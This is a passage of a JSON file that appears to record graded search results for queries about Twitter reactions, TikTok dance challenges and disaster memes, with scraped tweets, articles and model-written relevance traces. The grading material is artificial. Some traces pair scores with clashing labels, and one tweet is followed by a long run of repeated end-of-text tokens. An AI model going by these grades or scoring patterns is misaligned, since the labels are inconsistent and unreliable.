                "text": "My wife: *handing me divorce papers*\n\nMe: Nice try. This is clearly meant to distract from the Hunter Biden investigation| created_at: Sat Jun 24 17:00:16 +0000 2023 | favorite_count: 39973 | quote_count: 71 | reply_count: 61 | retweet_count: 3141 | is_quote_status: False | retweeted: False | lang: en <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endofte",
                "model_trace": "Query Decomposition:\n1. [People on Twitter]: The document is a tweet from a user on Twitter -> ([1], SATISFIED)\n2. [Reacting to the latest political scandal]: The tweet mentions the Hunter Biden investigation, which can be considered a political scandal -> ([1], SATISFIED)\n3. [Trending on the platform]: The tweet has a significant number of favorites and retweets, indicating it might be part of a trending topic -> ([2], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents related to the query. YES"
            },
            {
                "grade": "NO",
                "title": "Analyzing Attention to Scandal on Twitter: Elites Sell What ...",
                "url": "https://journals.sagepub.com/doi/full/10.1177/10659129221114145",
                "published_date": null,
                "text": "Abstract Scandal has been described as socially constructed, in that some combination of the public, the media, and the political elite agrees that a transgression has occurred. This study is among the first to directly observe the \u201cscandal as a construct\u201d premise, using time-series data to estimate how each group\u2019s attention to scandal affects that of every other. These data, collected from Twitter by Barber\u00e1 et al. (2019), measure the daily tweet volume of media outlets, Members of Congress, and samples of the public in relation to four Obama Administration scandals. Granger causality testing and impulse response functions show, as expected, that a jump in scandal-related tweets by one group affects the tweet volume of every other. But the groups wield unequal influence. Over the long-run, elites drive their supporters\u2019 attention to scandal more than vice-versa. However, in two of the four scandals, the opposite effect was seen in the short-run, opening the possibility of a \u201csounding board\u201d effect where elites are responsive to the initial reactions of their supporters but lead the conversation thereafter. These results encourage further study into how short- and long-term information flows differ, and why groups may lead in some issue areas but follow in others.   Scandals are important political events because they carry large consequences for the politicians involved (Basinger 2013), their parties (Foresta 2020, Daniele et al. 2020), and the broader policy process (Ferguson 2003, Paschall et al. 2020). But similar incidents of corruption, malfeasance, or immorality do not always lead to the same results (Newmark and Vaughan 2014). Scholars have explained the inconsistency of scandal outcomes by describing these events as being \u201csocially constructed.\u201d For an incident to become a scandal and have a major impact, the alleged transgression must meet with the \u201cgeneral opprobrium\u201d of three sets of actors: the public, the elites, and the media (Thompson 2000). These actors do not behave in isolation, but rather are",
                "model_trace": "Query Decomposition:\n1. {People on Twitter}: The document discusses Twitter data but focuses on media outlets, Members of Congress, and samples of the public in relation to past scandals -> ([2], SATISFIED)\n2. {Reacting to the latest political scandal}: The document does not provide real-time reactions to the latest political scandal but rather analyzes historical data and trends -> ([1], UNSATISFIED)\n3. {Trending on the platform}: The document does not address current trending topics on Twitter -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {People on Twitter} and {Reacting to the latest political scandal}. While the document discusses Twitter data, it does not provide information on the latest political scandal or current trending topics. Thus, it does not satisfy the user's intent to understand current reactions. NO."
            },
            {
                "grade": "NO",
                "title": "1 Donald Trump's Twitter and His Influence on the Media",
                "url": "https://com.uw.edu/wp-content/uploads/2021/08/Larson-Honors-Thesis-Final.pdf",
                "published_date": null,
                "text": "1\nDonald Trump\u2019s Twitter and His Influence on the Media:\nA Study of How Political Social Media Accounts Impact Press Coverage\nAnnika Kay Larson\nUniversity of Washington\n2\nIntro\nWith the rise of social media, society has become increasingly interconnected and \ncomplex, as people and organizations connect with each other in new ways. Twitter, \nfounded in 2006 in San Francisco, is currently rated the third most popular social media \nnetwork in the United States and is also a widely used platform internationally (Isaac & \nEmber 2016). Twitter\u2019s more than 300 million users vary, from members of the public to \ncelebrities, journalists, and politicians. The platform calls itself a \u201cmicro blogging \nservice,\u201d where users can voice their thoughts and feelings in posts that are 140 \ncharacters or less. The social media platform tracks trending topics, trying to keep users \nupdated on current events. As a result, Twitter has become a source of breaking news and \nsocietal reactions to present-day events. Due to Twitter\u2019s immense popularity, the site can \nhave a huge impact, in multiple and profound ways.\nA significant aspect of Twitter\u2019s impact on U.S. society involves how Twitter \nengages the world\u2019s political sphere. Due to Twitter\u2019s social media prominence, there are \nmany notable and significant politicians who currently utilize the social media service. \nWhen it comes to the United States 2016 presidential election, the Democratic nominee \nHillary Clinton had a Twitter account with 15 million followers (Clinton, 2017). The \nRepublican nominee and now president Donald J. Trump has a Twitter following of over \n30 million followers (Trump, 2017). Through their Twitter accounts, politicians are able \nto connect with members of the public, other politicians, and perhaps most significantly, \njournalists. With such massive followings, politicians on Twitter have the huge potential \nto impact their public perception.\n3\nI am interested in further understanding the intersection of social media, \njournalism, and politics. Although ",
                "model_trace": "Query Decomposition:\n1. {people's reactions on Twitter}: The document does not provide specific reactions from people on Twitter -> ([0], UNSATISFIED)\n2. {latest political scandal}: The document does not mention any specific political scandal, let alone the latest one -> ([0], UNSATISFIED)\n3. {trending on the platform}: The document discusses Twitter's influence and its use by politicians but does not mention current trending topics -> ([0], UNSATISFIED)\n\nAssessment: The document does not provide specific information about people's reactions to the latest political scandal trending on Twitter. It is more of an academic study on the influence of political social media accounts on press coverage. Therefore, it does not satisfy any of the key subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Twitter Reaction to Events Often at Odds with Overall ...",
                "url": "https://www.pewresearch.org/2013/03/04/twitter-reaction-to-events-often-at-odds-with-overall-public-opinion/",
                "published_date": null,
                "text": "The reaction on Twitter to major political events and policy decisions often differs a great deal from public opinion as measured by surveys. This is the conclusion of a year-long Pew Research Center study that compared the results of national polls to the tone of tweets in response to eight major news events, including the outcome of the presidential election, the first presidential debate and major speeches by Barack Obama.\nAt times the Twitter conversation is more liberal than survey responses, while at other times it is more conservative. Often it is the overall negativity that stands out. Much of the difference may have to do with both the narrow sliver of the public represented on Twitter as well as who among that slice chose to take part in any one conversation.\nA More Liberal Twitter Reaction to Some Events\nIn some instances, the Twitter reaction was more pro-Democratic or liberal than the balance of public opinion. For instance, when a federal court ruled last February that a California law banning same-sex marriage was unconstitutional \u2013 a case that is now coming before the Supreme Court \u2013 the reaction on Twitter was quite positive. Twitter conversations about the ruling were much more positive than negative (46% vs. 8%). But public opinion, as measured in a national poll, ran the other direction: Of those who had heard about the ruling, just 33% were very happy or pleased with it, while 44% were disappointed or angry.\nAnd this was also evident when it came to the fall presidential campaign. For example, while polls showed that most voters said Mitt Romney gave the better performance in the first presidential debate, Twitter reaction was much more critical of Romney, according to an analysis of social media reaction to the debate.\nAnd when Obama won the election on Nov. 6, the post-election conversation on Twitter was very positive about his victory. The analysis showed an overwhelming majority (77%) of post-election Twitter comments about the outcome were positive about Obama\u2019s victory while just 23% w",
                "model_trace": "Query Decomposition:\n1. [Twitter reactions]: The document discusses Twitter reactions to political events -> ([1], SATISFIED)\n2. [latest political scandal]: The document does not mention any specific political scandal or provide real-time reactions to the latest events -> ([0], UNSATISFIED)\n\nAssessment: The document provides a general analysis of Twitter reactions to past political events but does not address the latest political scandal or provide current reactions. Therefore, it does not satisfy the user's intent of understanding current Twitter reactions to a specific trending scandal. NO."
            }
        ]
    },
    {
        "query": "What are the funniest tweets about the new viral TikTok dance challenge?",
        "grid_pos": [
            1,
            6
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries test Exa's ability to understand complex, nuanced questions about current events, pop culture, and social media trends that require aggregating and synthesizing information from many tweets. The queries cover a range of topics like movies, games, politics, social media challenges, and natural disasters, which demonstrates the breadth of Exa's knowledge. Answering these queries well would require understanding context, sentiment, and the most relevant/influential voices on Twitter."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "#SUBstepchallenge | TikTok",
                "url": "https://www.tiktok.com/tag/substepchallenge",
                "published_date": "2023-01-01",
                "text": "TikTok\n Upload\n Log in\n\nFor You\n\nFollowing\n\nLIVE\n\nLog in to follow creators, like videos, and view comments.\n\nLog in\n\nDiscover\n\npetsoftiktok\n\ncouplestiktok\n\nmakeuptutorial\n\nForever - Labrinth\n\nQuincea\u00f1era - Banda Machos\n\nHasta la Ra\u00edz - Natalia Lafourcade\n\nwrestlemania\n\nspringcleaning\n\nThe Assignment - Tay Money\n\nTriple S - YN Jay & Louie Ray\n\nCreate effects\n\nAboutNewsroomContactCareersByteDance\n TikTok for GoodAdvertiseDevelopersTransparencyTikTok RewardsTikTok BrowseTikTok Embeds\n HelpSafetyTermsPrivacyCreator PortalCommunity Guidelines\n \u00a9 2023 TikTok\n\n#SUBstepchallenge\n\n2.6B views\n\n$5 footlongs are back when you buy 2 only in app or online and that has us dancin\u2019 all summer long.\u2600\ufe0f We serve the subs, you serve the steps! \ud83d\udd7a\ud83c\udffb\ud83d\udc83\ud83c\udffe Show us what you got with the #SUBstepchallenge \ud83d\udd25\n\njasoncoffee\n\n#AD $5 when you buy 2 in app/online? $5 when you buy 2 in app/online!!! #SUBstepChallenge #fyp @subway\n\njordan_fisher\n\n@charlieputh made the beat, I made the steps. Take the @subway #SUBstepchallenge with me #Ad #fyp $5 when you buy 2 in app/online\n\njordan_fisher\n\n#duet with cheyenne_griggs So many great @subway #SUBstepchallenge dances. Loved this one so much, I had to duet! $5 when you buy 2 in app/online #ad\n\njustinavalentine\n\nYa can\u2019t go wrong with this #SUBstepchallenge This footlong got my foot work goin \ud83d\udd25\ud83d\udde3\ud83e\udd23 @subway @mtv @wildnout #ad #fyp\n\ndreaknowsbest\n\n#AD I wasn't the only one vibing out to the @subway footlong song with dance by @jordan_fisher #SUBStepChallenge $5 when u buy 2 in app/online #fyp\n\nashleysvc\n\nDancing my way to @subway #SUBstepchallenge #AD $5 when u buy 2 in app/online #fyp\n\nkidthewiz\n\nPut My Little Twist To @JordanFisher Moves \ud83d\udd25\ud83d\udd7a\ud83c\udffd To This Fire @subway Remix by @CharliePuth #AD #SUBstepchallenge $5 when u buy 2 in app/online\n\ntisha_alyn\n\n@charlieputh with the @subway song & @jordan_fisher with the moves? Joining in on the fun! #ad #SUBstepchallenge #fyp $5 when u buy 2 in app/online\n\nkalaniballfree\n\n#duet with @jordan_fisher #SUBstepchallenge\n\njnehring\n\nReady to get your subway on? #SUBstepchallenge ",
                "model_trace": "Query Decomposition:\n1. {funniest tweets}: The query specifically asks for tweets, not TikTok posts -> ([0], UNSATISFIED)\n2. {about the new viral TikTok dance challenge}: This document is about the #SUBstepchallenge, a TikTok dance challenge -> ([1], SATISFIED)\n\nAssessment: The document is about a TikTok dance challenge, but it does not contain tweets, let alone funny ones. The relevant subcomponent {funniest tweets} is not satisfied. NO."
            },
            {
                "grade": "NO",
                "title": "The Tortilla Challenge On TikTok Is The Simplest Way To Stay Entertained",
                "url": "https://www.bustle.com/life/tiktok-tortilla-slapping-challenge",
                "published_date": "2022-06-23",
                "text": "A new viral challenge is making waves on TikTok, and everything you need to play is likely already waiting inside your fridge. The tortilla challenge involves two people filling their mouths with water, play a round of rock, paper, scissors, and slap each other with soft tortillas, whoever spits out the water in uncontrollable laughter loses. The tag #tortillachallenge on TikTok has more than 259M views. These videos are objectively hilarious, which lends itself to the trend\u2019s virality. Tortilla challenge videos rack up millions of views and likes, with comments like, \u201cthis is the best kind of chaos,\u201d and, \u201chow many times have you watched this? Me: yes.\u201d It\u2019s hard to pinpoint the funniest moment of these videos. Is it when the two players stand at the ready, with a soft tortilla flopped at their sides? Is it when the tortilla flatly slaps across their face? Is it when the players inevitably spit an entire mouthful of water on the other? Is it when one player swings their tortilla a little too hard? Perhaps it\u2019s all of the above. One user, @mattmikhaila, participated in the tortilla challenge with his wife, to the tune of 9.5M views, 1.2M likes, and nearly 9,000 comments like, \u201cshe took out 25 years of anger in that one slap.\u201d Another user on the app, @katrina_ashleighh, gained a whopping 61M views on her tortilla challenge video, collecting 7.7M likes and more than 81,000 comments like, \u201cthis better go viral,\u201d and \u201cnah this is the best one.\u201d In her video, one player goes for a cheap shot, slapping the other with a tortilla before initiating rock, paper, scissors. User @pattysbrain101 also went viral with this trend, gaining nearly 70M views on her video. More than 98,000 comments have been left on the video, the top comment reading, \u201con [America\u2019s Funniest Home Videos] in the \u201890s this would have been runner up to [a] kid taken out by [a] running dog but here it can wear its true crown.\u201d Another viral user, @miiraib, earned nearly 9M views on her tortilla challenge take, with more than 42,000 comments like, \u201cthe ",
                "model_trace": "Query Decomposition:\n1. {funniest tweets}: The query specifically asks for tweets, which are posts on Twitter -> ([0], UNSATISFIED)\n2. {about the new viral TikTok dance challenge}: The document discusses the tortilla challenge, which is a viral TikTok challenge but not necessarily a dance challenge -> ([2], UNSURE)\n\nAssessment: The document does not contain tweets, which is a critical component of the query. Additionally, the tortilla challenge is not a dance challenge, making it less relevant to the user's intent. Therefore, the document does not satisfy the key subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Monster LUM!X, Gabry Ponte TUZELITY SHUFFLE DANCE",
                "url": "https://www.youtube.com/watch?v=6yL2KiuQXwU&feature=youtu.be",
                "published_date": "2022-06-24",
                "text": "#tuzelitydance #TUZELITYNEWDANCE #TIKTOKTUZELITY #TIKTOK\n#Shuffledance #tuzelity #tuzelity_dance #tuzelity_shuffle #tuzelity_dance_remix #tuzelity_dance_tik_tok #tuzelity #tuzelity_dance_song #tuzelity_dance_in_a_club #tuzelity_dance_cancion #cancion_tuzelity_dance #compilation\n| view_count: 66,008,034 views | short_view_count: 66M views | num_likes: 277K | num_subscribers: 672K",
                "model_trace": "Query Decomposition:\n1. {funniest tweets}: This webpage does not contain tweets -> ([0], UNSATISFIED)\n2. {new viral TikTok dance challenge}: This webpage is about a new TikTok dance challenge -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponent is {new viral TikTok dance challenge}, which is satisfied. However, the primary intent of the query is to find funny tweets about the challenge, which the document does not address. NO."
            },
            {
                "grade": "NO",
                "title": "Funny Weekend Tweets April 7 2024",
                "url": "https://www.buzzfeed.com/chelseastewart/funny-weekend-tweets-april-7-2024",
                "published_date": null,
                "text": "For some reason, the best tweets always seem to happen on the weekend. Here are some funny ones that recently came across my timeline.\n    \n  \nIf you liked these tweets, make sure to give these users a follow for more funny content! \n ||||I||||            Skip To Content\n                      Sign In\n                    Browse links\n                      Pop Culture\n                        * TV & Movies\n                        * Celebrity\n                        * Best of the Internet\n                        * Animals\n                        * Music\n                        * Rewind\n                        * Books\n                        * LGBTQ\n                      Quizzes & Games\n                        * Latest\n                        * Trending\n                        * Food\n                        * Love\n                        * Trivia\n                        * Quiz Party\n                        * Pyramid Scheme NEW!\n                        * Showdown\n                        * Arcade\n                      Shopping\n                        * Latest\n                        * Home\n                        * Fashion\n                        * Tech\n                        * Beauty & Personal Care\n                        * Pets\n                        * Sports & Fitness\n                        * BuzzFeed Merch\n                      Video\n                        * Latest\n                        * Cocoa Butter NEW!\n                        * Mom In Progress\n                        * Worth It\n                        * Unsolved\n                        * Multiplayer\n                        * Pero Like\n                      Lifestyle\n                        * Style\n                        * BringMe: Travel\n                        * Goodful: Wellness\n                        * Nifty: DIY\n                        * Parents\n                        * Food\n                        * Weddings\n                        * Sex And Love\n                        * Tasty Home NEW!\n                      Community\n                        * Ma",
                "model_trace": "Query Decomposition:\n1. {funniest tweets}: The document is about funny tweets, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {new viral TikTok dance challenge}: The document does not mention anything about a TikTok dance challenge, and it is not clear from the content provided whether any of the tweets are related to this topic -> ([0], UNSURE).\n\nAssessment: The relevant subcomponent is {funniest tweets}, which is satisfied. However, the specific context of the new viral TikTok dance challenge is not addressed. Since the document does not meet the specific context of the query, it is unhelpful. NO."
            },
            {
                "grade": "NO",
                "title": "Funny Weekend Tweets April 14 2024",
                "url": "https://www.buzzfeed.com/chelseastewart/funny-weekend-tweets-april-14-2024",
                "published_date": null,
                "text": "For some reason, the best tweets always seem to happen on the weekend. Here are some funny ones that recently came across my timeline.\n    \n  \nIf you liked these tweets, make sure to give these users a follow for more funny content! \n ||||I||||            Skip To Content\n                      Sign In\n                    Browse links\n                      Pop Culture\n                        * TV & Movies\n                        * Celebrity\n                        * Best of the Internet\n                        * Animals\n                        * Music\n                        * Rewind\n                        * Books\n                        * LGBTQ\n                      Quizzes & Games\n                        * Latest\n                        * Trending\n                        * Food\n                        * Love\n                        * Trivia\n                        * Quiz Party\n                        * Pyramid Scheme NEW!\n                        * Showdown\n                        * Arcade\n                      Shopping\n                        * Latest\n                        * Home\n                        * Fashion\n                        * Tech\n                        * Beauty & Personal Care\n                        * Pets\n                        * Sports & Fitness\n                        * BuzzFeed Merch\n                      Video\n                        * Latest\n                        * Cocoa Butter NEW!\n                        * Mom In Progress\n                        * Worth It\n                        * Unsolved\n                        * Multiplayer\n                        * Pero Like\n                      Lifestyle\n                        * Style\n                        * BringMe: Travel\n                        * Goodful: Wellness\n                        * Nifty: DIY\n                        * Parents\n                        * Food\n                        * Weddings\n                        * Sex And Love\n                        * Tasty Home NEW!\n                      Community\n                        * Ma",
                "model_trace": "Query Decomposition:\n1. {funniest tweets}: The document is about funny weekend tweets, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {new viral TikTok dance challenge}: The document does not specify that the tweets are about the new viral TikTok dance challenge -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {funniest tweets} and {new viral TikTok dance challenge}. Since {new viral TikTok dance challenge} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "25 Best TikTok Dance Challenges to Get Your Groove on",
                "url": "https://influencermarketinghub.com/tiktok-dance-challenges/",
                "published_date": null,
                "text": "Dance challenges are to TikTok what ice cream is to summer. While you   can   have one without the other, it just isn\u2019t as fun.\u00a0   Over the past few years, TikTok has turned into a source of viral dance challenges that sweep across the world. From celebrities to influential content creators \u2013 everyone\u2019s participating in these popular challenges. Even  brands can be seen  joining in on the fun and using these dance challenges to connect with their fans.   These dance challenges are great to capitalize on because people can conduct searches using   TikTok sounds  . That means if someone clicks on the song, some of the top videos featuring the song will turn up in the search results.\u00a0   So whether you\u2019re a content creator who needs inspiration for new content or a brand that needs to drive TikTok engagements, check out these top TikTok dance challenges to get your groove on.    25 Best TikTok Dance Challenges to Get Your Groove on:     1. \u201cLaxed (Siren Beat)\u201d   2. \u201cRenegade\u201d   3. \u201cAdderall (Corvette Corvette)\u201d   4. \u201cSavage\u201d   5. \u201cSay So\u201d   6. \u201cOut West\u201d   7. \u201cStay\u201d   8. \u201cSupalonely\u201d   9. \u201cWAP\u201d   10. \u201cToosie Slide\u201d   11. \u201cTap In\u201d\u00a0   12. \u201cDon\u2019t Start Now\u201d   13. \u201cAttention\u201d   \u00a014. \u201cCut the Check Bust It Down\u201d   \u00a015. \u201cKiss Me More\u201d   \u00a016. \u201cUnlock it (Lock it)\u201d   17. \u201cThe Box\u201d   18. \u201cThe Git Up\u201d   19. \u201cBlinding Lights\u201d   20. \u201cIko Iko (My Bestie)\u201d   21. \u201cDomino Lovers\u201d   22. \u201cTalkin\u2019 Bout\u201d   23. \u201cFancy Like\u201d   24. \u201cVibe (If I Back It Up)\u201d   25. \u201cStayin\u2019 Alive Mashup\u201d   \n  1. \u201cLaxed (Siren Beat)\u201d   The dance challenge that took the world by storm \u2013 \u201cLaxed (Siren Beat)\u201d features simple hand movements and body rolls that you might be able to master in just a few minutes. A favorite for all ages, the dance is set to a track by Jawsh 685 and has seen over 42 million videos created.  \n @jazlynebaybee Embracing our cultures #fyp #foryou #foryoupage #cookislands #korean #petlife #bestfandom #workdistractions #siblingcheck #OpenForDelivery #couple \u266c Laxed - Jawsh 685 \n  You may also know this track as the hit song, \u201cSavage Love\u201d b",
                "model_trace": "Query Decomposition:\n1. {funniest tweets}: The document does not mention tweets at all -> ([0], UNSATISFIED)\n2. {new viral TikTok dance challenge}: The document lists various TikTok dance challenges but does not specify if any of them are new or viral -> ([2], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponent of providing funny tweets. While it does mention TikTok dance challenges, it does not focus on the new or viral ones specifically, nor does it provide any humorous content related to them. Therefore, it is not aligned with the user's intent. NO."
            }
        ]
    },
    {
        "query": "Which Twitter accounts are sharing the best memes and commentary about the recent natural disaster in the news?",
        "grid_pos": [
            1,
            6
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries test Exa's ability to understand complex, nuanced questions about current events, pop culture, and social media trends that require aggregating and synthesizing information from many tweets. The queries cover a range of topics like movies, games, politics, social media challenges, and natural disasters, which demonstrates the breadth of Exa's knowledge. Answering these queries well would require understanding context, sentiment, and the most relevant/influential voices on Twitter."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/calfirebot",
                "published_date": "2021-06-19",
                "text": "A bot that tweets California fires in real time based on CHP reports.\n\nNot affiliated with the government.\n\nAlso see @SDFireBot, @BayFireBot, and @CalFireDigest| name: Cal Fire Bot | created_at: Sat Jun 19 21:51:39 +0000 2021 | favourites_count: 0 | followers_count: 1772 | friends_count: 3 | media_count: 1095 | possibly_sensitive: False | verified: False | statuses_count: 53009 | location: California For a live map of new California fires in the past 24 hours, visit this site I just created:\n\nhttps://bennettkedrosky.com/calfiremap/| created_at: Sun Jul 25 15:00:00 +0000 2021 | favorite_count: 34 | quote_count: 0 | reply_count: 11 | retweet_count: 16 | is_quote_status: False | retweeted: False | lang: en VIS OF SMOKE COMING FRM UNDER SB 710\nRegion: East LA #CAfire https://www.google.com/maps/search/?api=1&query=33.912704,-118.180194| created_at: Wed Feb 15 20:44:01 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en WOODEN POST ON FIRE \nRegion: East LA #CAfire https://www.google.com/maps/search/?api=1&query=33.896214,-118.187654| created_at: Wed Feb 15 20:34:02 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en SMOKE COMING FRM RS BUSHES\nRegion: San Diego #CAfire https://www.google.com/maps/search/?api=1&query=32.679651,-117.086053| created_at: Wed Feb 15 20:30:02 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en SMOKE ON HILLSIDE\nRegion: Marin #CAfire https://www.google.com/maps/search/?api=1&query=38.165078,-122.577900| created_at: Wed Feb 15 20:12:01 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en RP SEES SMOKE IN THE RHS BUSHES\nRegion: San Diego #CAfire https://www.google.com/maps/search/?api=1&query=32.679651,-117.086053| created_at: Wed Feb 15 19:28:02 +0000 2",
                "model_trace": "Query Decomposition:\n1. {Twitter accounts}: The document is about a Twitter account (@calfirebot) -> ([1], SATISFIED)\n2. {sharing the best memes and commentary}: The document describes a bot that tweets real-time information about California fires based on CHP reports, not memes or commentary -> ([1], UNSATISFIED)\n3. {about the recent natural disaster in the news}: The document is about California fires, which could be a natural disaster, but it does not specify if it is recent or in the news -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {Twitter accounts} and {sharing the best memes and commentary}. Since {sharing the best memes and commentary} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/nolaready",
                "published_date": "2009-08-31",
                "text": "The City of New Orleans disaster preparedness campaign, managed by the Office of Homeland Security & Emergency Preparedness. Not monitored 24/7. #NOLAReady| profile_url: http://ready.nola.gov | name: NOLA Ready | created_at: Mon Aug 31 23:36:53 +0000 2009 | favourites_count: 13828 | followers_count: 58206 | friends_count: 1149 | media_count: 3138 | possibly_sensitive: False | verified: True | statuses_count: 17917 | location: New Orleans, LA RT @WWNO: Today on @LAConsidered, we learn how and where New Orleanians can recycle their throws during Mardi Gras. Plus, we learn about tw\u2026| created_at: Thu Feb 16 01:38:37 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 4 | is_quote_status: False | retweeted: False | lang: en RT @wdsu: In case your boss didn't believe you, parade floats are on the move and causing some traffic jams across the city.\n\nIt's Carniva\u2026| created_at: Thu Feb 16 00:58:46 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 66 | is_quote_status: False | retweeted: False | lang: en RT @roadworknola: In 2022, 1,150 tons or 2.5 million lbs of Mardi Gras trash were transported to the landfill in just 11 days.\n\nThis year,\u2026| created_at: Thu Feb 16 00:49:46 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 5 | is_quote_status: False | retweeted: False | lang: en RT @FootprintPrjct: The charging stations are powered by solar generators we have staged in New Orleans for regional disaster response.\n\nT\u2026| created_at: Thu Feb 16 00:49:35 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 3 | is_quote_status: False | retweeted: False | lang: en RT @WWNO: During the 2022 Carnival season, 1,150 tons of trash associated with Mardi Gras were sent to the landfill in just 11 days. Today\u2026| created_at: Wed Feb 15 19:48:48 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 2 | is_quote_status: False | retweeted: False | lang: en Lots of free resources from the city alo",
                "model_trace": "Query Decomposition:\n1. {Twitter accounts sharing the best memes and commentary}: The document is about the Twitter account @nolaready, which is managed by the Office of Homeland Security & Emergency Preparedness and focuses on disaster preparedness rather than sharing memes or commentary -> ([1], UNSATISFIED)\n2. {recent natural disaster in the news}: The document does not mention any specific recent natural disaster; it focuses on general preparedness and local events -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy either of the key subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/CalFireBot",
                "published_date": "2021-06-19",
                "text": "A bot that tweets California fires in real time based on CHP reports.\n\nNot affiliated with the government.\n\nAlso see @SDFireBot, @BayFireBot, and @CalFireDigest| name: Cal Fire Bot | created_at: Sat Jun 19 21:51:39 +0000 2021 | favourites_count: 0 | followers_count: 1772 | friends_count: 3 | media_count: 1095 | possibly_sensitive: False | verified: False | statuses_count: 53002 | location: California For a live map of new California fires in the past 24 hours, visit this site I just created:\n\nhttps://bennettkedrosky.com/calfiremap/| created_at: Sun Jul 25 15:00:00 +0000 2021 | favorite_count: 34 | quote_count: 0 | reply_count: 11 | retweet_count: 16 | is_quote_status: False | retweeted: False | lang: en SMOKE SEEN IN GRASS ON RHS\nRegion: Santa Rosa #CAfire https://www.google.com/maps/search/?api=1&query=38.270662,-122.667987| created_at: Wed Feb 15 17:30:02 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en HOMELESS ENCAMPMENT ON FIRE\nRegion: San Francisco #CAfire https://www.google.com/maps/search/?api=1&query=37.749189,-122.404804| created_at: Wed Feb 15 17:24:02 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en BLK SMOKE SEEN FRM FRWY\nRegion: San Francisco #CAfire https://www.google.com/maps/search/?api=1&query=37.749189,-122.404804| created_at: Wed Feb 15 17:24:02 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en LARGE AMOUNTS OF BLK SMOKE COMING FROM BRUSH AREA\nRegion: East LA #CAfire https://www.google.com/maps/search/?api=1&query=33.903556,-118.185367| created_at: Wed Feb 15 17:20:02 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en FIRE ON THE RS OFF THE FWY\nRegion: Central LA #CAfire https://www.google.com/maps/search/?api=1&query=34.034136,-118.350206| cr",
